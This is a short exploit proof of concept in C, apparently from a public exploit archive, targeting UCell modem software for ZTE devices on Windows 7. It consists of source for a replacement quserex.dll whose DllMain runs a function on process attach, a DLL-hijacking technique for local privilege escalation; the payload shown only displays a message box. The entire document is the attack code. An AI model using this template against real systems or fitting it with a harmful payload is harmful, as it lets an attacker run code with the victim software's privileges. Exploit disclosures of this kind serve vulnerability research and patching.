/* * Exploit Title: UCell Software for ZTE Modems quserex.dll Path Subversion Local Privilege Escalation * Date: 25/12/2014 * Author: Hadji Samir s-dz@hotmail.fr * Vendor Homepage: http://ucell.uz/en/subscribers/devices/modems/upgrade_your_modem * Tested on: windows 7 */ #include <windows.h> BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: owned(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int owned() { MessageBox(0, "ZTE Ucell DLL injection\Hadji Samir", "POC", MB_OK); }